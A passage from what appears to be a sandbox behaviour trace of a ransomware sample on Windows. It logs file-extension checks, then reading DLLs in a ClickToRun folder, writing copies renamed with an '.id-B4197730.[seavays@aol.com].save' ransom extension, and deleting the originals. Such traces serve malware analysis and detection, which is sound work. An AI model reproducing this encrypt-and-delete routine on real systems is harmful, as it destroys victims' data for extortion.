lpString2=".dll") returned -1 [0068.366] lstrlenW (lpString=".7z") returned 3 [0068.366] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0068.366] lstrlenW (lpString=".dbf") returned 4 [0068.366] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0068.366] lstrlenW (lpString=".1cd") returned 4 [0068.366] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0068.367] lstrlenW (lpString=".jpg") returned 4 [0068.367] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.367] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.367] lstrlenW (lpString="api-ms-win-crt-locale-l1-1-0.dll") returned 32 [0068.367] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0068.367] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=19136) returned 1 [0068.367] CloseHandle (hObject=0x38c) returned 1 [0068.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x20 [0068.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.367] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0068.368] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.368] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0068.368] GetLastError () returned 0x0 [0068.368] ReadFile (in: hFile=0x38c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0068.370] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0068.372] ReadFile (in: hFile=0x38c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0068.372] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x114, lpOverlapped=0x0) returned 1 [0068.372] SetEndOfFile (hFile=0x34c) returned 1 [0068.372] CloseHandle (hObject=0x34c) returned 1 [0068.373] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.373] SetEndOfFile (hFile=0x38c) returned 1 [0068.374] CloseHandle (hObject=0x38c) returned 1 [0068.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0068.375] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 1 [0068.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0068.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0068.375] lstrlenW (lpString=".doc") returned 4 [0068.375] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.375] lstrlenW (lpString=".docx") returned 5 [0068.375] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.375] lstrlenW (lpString=".pdf") returned 4 [0068.375] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.375] lstrlenW (lpString=".xls") returned 4 [0068.375] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.375] lstrlenW (lpString=".xlsx") returned 5 [0068.375] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.375] lstrlenW (lpString=".ppt") returned 4 [0068.375] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0068.375] lstrlenW (lpString=".zip") returned 4 [0068.375] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.375] lstrlenW (lpString=".rar") returned 4 [0068.375] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.375] lstrlenW (lpString=".bz2") returned 4 [0068.376] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.376] lstrlenW (lpString=".7z") returned 3 [0068.376] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0068.376] lstrlenW (lpString=".dbf") returned 4 [0068.376] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0068.376] lstrlenW (lpString=".1cd") returned 4 [0068.376] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0068.376] lstrlenW (lpString=".jpg") returned 4 [0068.376] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0068.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0068.376] lstrlenW (lpString=".doc") returned 4 [0068.376] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.376] lstrlenW (lpString=".docx") returned 5 [0068.376] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.376] lstrlenW (lpString=".pdf") returned 4 [0068.376] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.376] lstrlenW (lpString=".xls") returned 4 [0068.376] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.376] lstrlenW (lpString=".xlsx") returned 5 [0068.376] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.376] lstrlenW (lpString=".ppt") returned 4 [0068.376] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0068.376] lstrlenW (lpString=".zip") returned 4 [0068.376] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.376] lstrlenW (lpString=".rar") returned 4 [0068.376] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.376] lstrlenW (lpString=".bz2") returned 4 [0068.377] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.377] lstrlenW (lpString=".7z") returned 3 [0068.377] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0068.377] lstrlenW (lpString=".dbf") returned 4 [0068.377] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0068.377] lstrlenW (lpString=".1cd") returned 4 [0068.377] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0068.377] lstrlenW (lpString=".jpg") returned 4 [0068.377] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.377] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.377] lstrlenW (lpString="api-ms-win-crt-math-l1-1-0.dll") returned 30 [0068.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0068.378] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=27840) returned 1 [0068.378] CloseHandle (hObject=0x38c) returned 1 [0068.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x20 [0068.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.427] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0068.428] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.428] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0068.428] GetLastError () returned 0x0 [0068.428] ReadFile (in: hFile=0x384, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x6cc0, lpOverlapped=0x0) returned 1 [0068.431] WriteFile (in: hFile=0x398, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x6cd0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x6cd0, lpOverlapped=0x0) returned 1 [0068.432] ReadFile (in: hFile=0x384, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0068.432] WriteFile (in: hFile=0x398, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x110, lpOverlapped=0x0) returned 1 [0068.432] SetEndOfFile (hFile=0x398) returned 1 [0068.433] CloseHandle (hObject=0x398) returned 1 [0068.435] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.435] SetEndOfFile (hFile=0x384) returned 1 [0068.436] CloseHandle (hObject=0x384) returned 1 [0068.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0068.436] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 1 [0068.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0068.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0068.437] lstrlenW (lpString=".doc") returned 4 [0068.437] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.437] lstrlenW (lpString=".docx") returned 5 [0068.437] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.437] lstrlenW (lpString=".pdf") returned 4 [0068.437] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.437] lstrlenW (lpString=".xls") returned 4 [0068.437] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.437] lstrlenW (lpString=".xlsx") returned 5 [0068.437] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.437] lstrlenW (lpString=".ppt") returned 4 [0068.437] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0068.437] lstrlenW (lpString=".zip") returned 4 [0068.437] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.437] lstrlenW (lpString=".rar") returned 4 [0068.437] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.437] lstrlenW (lpString=".bz2") returned 4 [0068.437] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.437] lstrlenW (lpString=".7z") returned 3 [0068.437] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0068.437] lstrlenW (lpString=".dbf") returned 4 [0068.437] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0068.437] lstrlenW (lpString=".1cd") returned 4 [0068.437] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0068.437] lstrlenW (lpString=".jpg") returned 4 [0068.437] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0068.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0068.438] lstrlenW (lpString=".doc") returned 4 [0068.438] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.438] lstrlenW (lpString=".docx") returned 5 [0068.438] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.438] lstrlenW (lpString=".pdf") returned 4 [0068.438] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.438] lstrlenW (lpString=".xls") returned 4 [0068.438] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.438] lstrlenW (lpString=".xlsx") returned 5 [0068.438] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.438] lstrlenW (lpString=".ppt") returned 4 [0068.438] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0068.438] lstrlenW (lpString=".zip") returned 4 [0068.438] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.438] lstrlenW (lpString=".rar") returned 4 [0068.438] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.438] lstrlenW (lpString=".bz2") returned 4 [0068.438] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.438] lstrlenW (lpString=".7z") returned 3 [0068.438] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0068.438] lstrlenW (lpString=".dbf") returned 4 [0068.438] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0068.438] lstrlenW (lpString=".1cd") returned 4 [0068.438] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0068.438] lstrlenW (lpString=".jpg") returned 4 [0068.438] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.439] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.439] lstrlenW (lpString="api-ms-win-crt-runtime-l1-1-0.dll") returned 33 [0068.439] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0068.440] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=23232) returned 1 [0068.440] CloseHandle (hObject=0x384) returned 1 [0068.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 0x20 [0068.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0068.440] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.440] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0068.441] GetLastError () returned 0x0 [0068.441] ReadFile (in: hFile=0x384, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x5ac0, lpOverlapped=0x0) returned 1 [0068.443] WriteFile (in: hFile=0x398, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x5ad0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x5ad0, lpOverlapped=0x0) returned 1 [0068.444] ReadFile (in: hFile=0x384, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0068.444] WriteFile (in: hFile=0x398, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x116, lpOverlapped=0x0) returned 1 [0068.444] SetEndOfFile (hFile=0x398) returned 1 [0068.444] CloseHandle (hObject=0x398) returned 1 [0068.445] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.446] SetEndOfFile (hFile=0x384) returned 1 [0068.446] CloseHandle (hObject=0x384) returned 1 [0068.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0068.447] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 1 [0068.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0068.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0068.447] lstrlenW (lpString=".doc") returned 4 [0068.447] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.447] lstrlenW (lpString=".docx") returned 5 [0068.447] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.447] lstrlenW (lpString=".pdf") returned 4 [0068.447] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.447] lstrlenW (lpString=".xls") returned 4 [0068.447] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.448] lstrlenW (lpString=".xlsx") returned 5 [0068.448] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.448] lstrlenW (lpString=".ppt") returned 4 [0068.448] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0068.448] lstrlenW (lpString=".zip") returned 4 [0068.448] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.448] lstrlenW (lpString=".rar") returned 4 [0068.448] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.448] lstrlenW (lpString=".bz2") returned 4 [0068.448] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.448] lstrlenW (lpString=".7z") returned 3 [0068.448] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0068.448] lstrlenW (lpString=".dbf") returned 4 [0068.448] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0068.448] lstrlenW (lpString=".1cd") returned 4 [0068.448] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0068.448] lstrlenW (lpString=".jpg") returned 4 [0068.448] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0068.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0068.448] lstrlenW (lpString=".doc") returned 4 [0068.448] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.448] lstrlenW (lpString=".docx") returned 5 [0068.448] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.448] lstrlenW (lpString=".pdf") returned 4 [0068.448] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.448] lstrlenW (lpString=".xls") returned 4 [0068.448] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.448] lstrlenW (lpString=".xlsx") returned 5 [0068.449] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.449] lstrlenW (lpString=".ppt") returned 4 [0068.449] lstrcmpiW 